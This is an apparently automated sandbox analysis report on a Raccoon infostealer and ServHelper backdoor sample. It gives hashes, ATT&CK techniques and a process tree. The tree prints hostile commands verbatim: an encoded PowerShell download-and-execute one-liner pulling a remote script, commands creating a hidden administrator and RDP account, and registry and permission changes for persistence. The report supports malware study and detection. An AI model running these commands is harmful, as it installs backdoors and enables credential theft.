raccoon | 143cf1724057f9b6a6630656e8735857d6146ff6dd0c2afc736545b46194437c

Analysis

max time kernel
151s
max time network
142s
platform
windows7_x64
resource
win7v20210408
submitted
03-06-2021 12:43

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General

Target

66ee84542266e55c0215ca60869f1347.exe
Size

567KB
MD5

66ee84542266e55c0215ca60869f1347
SHA1

147b6dd6bd7b0c5060ded97b844bb1494cf1ddb6
SHA256

143cf1724057f9b6a6630656e8735857d6146ff6dd0c2afc736545b46194437c
SHA512

ead9fc39d6fc972587b777151b040885b7df8eb4ea2bf305f259243915ef2bd190c9e4ea36999442b59b52054a75f07df9d8dd3f380841bb27a13c587b6da2ad

Score

10^/10

raccoon servhelper 89ac909b803bacbc6cc523520599c4b9c029b033 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

89ac909b803bacbc6cc523520599c4b9c029b033

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	620	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1036	6GjPtS4ott.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1516	icacls.exe
1560	takeown.exe
1712	icacls.exe
1060	icacls.exe
964	icacls.exe
1772	icacls.exe
1384	icacls.exe
1376	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00050000000130d9-200.dat	upx
behavioral1/files/0x00060000000130da-201.dat	upx

Deletes itself 1 IoCs

pid	Process
620	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
1828	66ee84542266e55c0215ca60869f1347.exe
1828	66ee84542266e55c0215ca60869f1347.exe
1828	66ee84542266e55c0215ca60869f1347.exe
1828	66ee84542266e55c0215ca60869f1347.exe
1828	66ee84542266e55c0215ca60869f1347.exe
1828	66ee84542266e55c0215ca60869f1347.exe
1828	66ee84542266e55c0215ca60869f1347.exe
1828	66ee84542266e55c0215ca60869f1347.exe
1828	66ee84542266e55c0215ca60869f1347.exe
1828	66ee84542266e55c0215ca60869f1347.exe
956	Process not Found
956	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1376	icacls.exe
1516	icacls.exe
1560	takeown.exe
1712	icacls.exe
1060	icacls.exe
964	icacls.exe
1772	icacls.exe
1384	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_056e50bc-39ad-400e-94ff-f34216fae124	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_59a87478-7c43-4aab-8969-421249f26766	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f99c16fa-81de-495b-b536-ece59167b209	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CL8NPGVXBC73GJ01MG62.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1322740c-c3ea-4495-bda1-f085273d60b2	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_77d0cdb1-0eb7-43d2-95e1-0274343ce1f9	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1a6ac4da-849e-4c5a-966f-91d22d08be2c	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_051a2e88-aced-452d-a3e8-325e1512e219	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c1a30819-9fdf-4197-840a-7407953737d4	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_faf926c3-97fd-480b-acc0-b343674972d4	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_342bcf8b-5ee6-4666-9c7e-8c6dc0f7706d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e9da7bde-0fd7-4045-b1de-9107cffd7bfa	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1300	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 9080ba698658d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
288	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	66ee84542266e55c0215ca60869f1347.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	66ee84542266e55c0215ca60869f1347.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
748	powershell.exe
748	powershell.exe
1052	powershell.exe
1052	powershell.exe
1300	powershell.exe
1300	powershell.exe
2012	powershell.exe
2012	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe
620	powershell.exe
620	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
464	Process not Found
956	Process not Found
956	Process not Found
956	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	748	powershell.exe
Token: SeDebugPrivilege	1052	powershell.exe
Token: SeDebugPrivilege	1300	powershell.exe
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeRestorePrivilege	1060	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1668	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1668	WMIC.exe
Token: SeAuditPrivilege	1668	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1668	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1668	WMIC.exe
Token: SeAuditPrivilege	1668	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1240	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1240	WMIC.exe
Token: SeAuditPrivilege	1240	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1240	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1240	WMIC.exe
Token: SeAuditPrivilege	1240	WMIC.exe
Token: SeDebugPrivilege	620	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1828 wrote to memory of 1036	1828	66ee84542266e55c0215ca60869f1347.exe	30
PID 1828 wrote to memory of 1036	1828	66ee84542266e55c0215ca60869f1347.exe	30
PID 1828 wrote to memory of 1036	1828	66ee84542266e55c0215ca60869f1347.exe	30
PID 1828 wrote to memory of 1036	1828	66ee84542266e55c0215ca60869f1347.exe	30
PID 1828 wrote to memory of 620	1828	66ee84542266e55c0215ca60869f1347.exe	31
PID 1828 wrote to memory of 620	1828	66ee84542266e55c0215ca60869f1347.exe	31
PID 1828 wrote to memory of 620	1828	66ee84542266e55c0215ca60869f1347.exe	31
PID 1828 wrote to memory of 620	1828	66ee84542266e55c0215ca60869f1347.exe	31
PID 620 wrote to memory of 1300	620	cmd.exe	33
PID 620 wrote to memory of 1300	620	cmd.exe	33
PID 620 wrote to memory of 1300	620	cmd.exe	33
PID 620 wrote to memory of 1300	620	cmd.exe	33
PID 1036 wrote to memory of 748	1036	6GjPtS4ott.exe	34
PID 1036 wrote to memory of 748	1036	6GjPtS4ott.exe	34
PID 1036 wrote to memory of 748	1036	6GjPtS4ott.exe	34
PID 748 wrote to memory of 1160	748	powershell.exe	36
PID 748 wrote to memory of 1160	748	powershell.exe	36
PID 748 wrote to memory of 1160	748	powershell.exe	36
PID 1160 wrote to memory of 900	1160	csc.exe	37
PID 1160 wrote to memory of 900	1160	csc.exe	37
PID 1160 wrote to memory of 900	1160	csc.exe	37
PID 748 wrote to memory of 1052	748	powershell.exe	38
PID 748 wrote to memory of 1052	748	powershell.exe	38
PID 748 wrote to memory of 1052	748	powershell.exe	38
PID 748 wrote to memory of 1300	748	powershell.exe	40
PID 748 wrote to memory of 1300	748	powershell.exe	40
PID 748 wrote to memory of 1300	748	powershell.exe	40
PID 748 wrote to memory of 2012	748	powershell.exe	42
PID 748 wrote to memory of 2012	748	powershell.exe	42
PID 748 wrote to memory of 2012	748	powershell.exe	42
PID 748 wrote to memory of 1560	748	powershell.exe	45
PID 748 wrote to memory of 1560	748	powershell.exe	45
PID 748 wrote to memory of 1560	748	powershell.exe	45
PID 748 wrote to memory of 1712	748	powershell.exe	46
PID 748 wrote to memory of 1712	748	powershell.exe	46
PID 748 wrote to memory of 1712	748	powershell.exe	46
PID 748 wrote to memory of 1060	748	powershell.exe	47
PID 748 wrote to memory of 1060	748	powershell.exe	47
PID 748 wrote to memory of 1060	748	powershell.exe	47
PID 748 wrote to memory of 964	748	powershell.exe	48
PID 748 wrote to memory of 964	748	powershell.exe	48
PID 748 wrote to memory of 964	748	powershell.exe	48
PID 748 wrote to memory of 1772	748	powershell.exe	49
PID 748 wrote to memory of 1772	748	powershell.exe	49
PID 748 wrote to memory of 1772	748	powershell.exe	49
PID 748 wrote to memory of 1384	748	powershell.exe	50
PID 748 wrote to memory of 1384	748	powershell.exe	50
PID 748 wrote to memory of 1384	748	powershell.exe	50
PID 748 wrote to memory of 1376	748	powershell.exe	51
PID 748 wrote to memory of 1376	748	powershell.exe	51
PID 748 wrote to memory of 1376	748	powershell.exe	51
PID 748 wrote to memory of 1516	748	powershell.exe	52
PID 748 wrote to memory of 1516	748	powershell.exe	52
PID 748 wrote to memory of 1516	748	powershell.exe	52
PID 748 wrote to memory of 1892	748	powershell.exe	53
PID 748 wrote to memory of 1892	748	powershell.exe	53
PID 748 wrote to memory of 1892	748	powershell.exe	53
PID 748 wrote to memory of 288	748	powershell.exe	54
PID 748 wrote to memory of 288	748	powershell.exe	54
PID 748 wrote to memory of 288	748	powershell.exe	54
PID 748 wrote to memory of 1140	748	powershell.exe	55
PID 748 wrote to memory of 1140	748	powershell.exe	55
PID 748 wrote to memory of 1140	748	powershell.exe	55
PID 748 wrote to memory of 1696	748	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\66ee84542266e55c0215ca60869f1347.exe
"C:\Users\Admin\AppData\Local\Temp\66ee84542266e55c0215ca60869f1347.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1828
- C:\Users\Admin\AppData\Local\Temp\6GjPtS4ott.exe
  "C:\Users\Admin\AppData\Local\Temp\6GjPtS4ott.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:748
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vh0mfwe3\vh0mfwe3.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1160
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEEC2.tmp" "c:\Users\Admin\AppData\Local\Temp\vh0mfwe3\CSC8D25DEB6D00B45D08BEA6F70461B3EA.TMP"
        5⤵
        
        PID:900
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1300
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2012
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1560
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1712
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1060
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:964
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1772
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1384
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1376
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1516
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1892
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:288
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1140
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1696
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1280
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1888
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1784
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:1708
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:2012
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:1664
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1120
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:968
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1728
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1668
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1588
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\66ee84542266e55c0215ca60869f1347.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:620
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1300

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1656
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1912
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1892

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc rsXSssNA /add
1⤵
PID:288
- C:\Windows\system32\net.exe
  net.exe user wgautilacc rsXSssNA /add
  2⤵
  PID:1296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc rsXSssNA /add
    3⤵
    PID:620

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1716
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1888
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1588

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1376
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1052
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1652

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1696
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:336

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc rsXSssNA
1⤵
PID:1060
- C:\Windows\system32\net.exe
  net.exe user wgautilacc rsXSssNA
  2⤵
  PID:1972
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc rsXSssNA
    3⤵
    PID:1784

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:548
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1668

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:336
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1240

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1784
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:620

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1764
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1712
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1120

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/620-222-0x0000000019610000-0x0000000019612000-memory.dmp

Filesize
8KB

Download
memory/620-224-0x000000001961A000-0x0000000019639000-memory.dmp

Filesize
124KB

Download
memory/620-223-0x0000000019614000-0x0000000019616000-memory.dmp

Filesize
8KB

Download
memory/748-84-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmp

Filesize
8KB

Download
memory/748-87-0x000000001A820000-0x000000001A821000-memory.dmp

Filesize
4KB

Download
memory/748-113-0x000000001ABFA000-0x000000001AC19000-memory.dmp

Filesize
124KB

Download
memory/748-90-0x00000000023A0000-0x00000000023A1000-memory.dmp

Filesize
4KB

Download
memory/748-100-0x0000000002040000-0x0000000002041000-memory.dmp

Filesize
4KB

Download
memory/748-176-0x000000001C560000-0x000000001C561000-memory.dmp

Filesize
4KB

Download
memory/748-85-0x0000000002640000-0x0000000002641000-memory.dmp

Filesize
4KB

Download
memory/748-86-0x000000001AC70000-0x000000001AC71000-memory.dmp

Filesize
4KB

Download
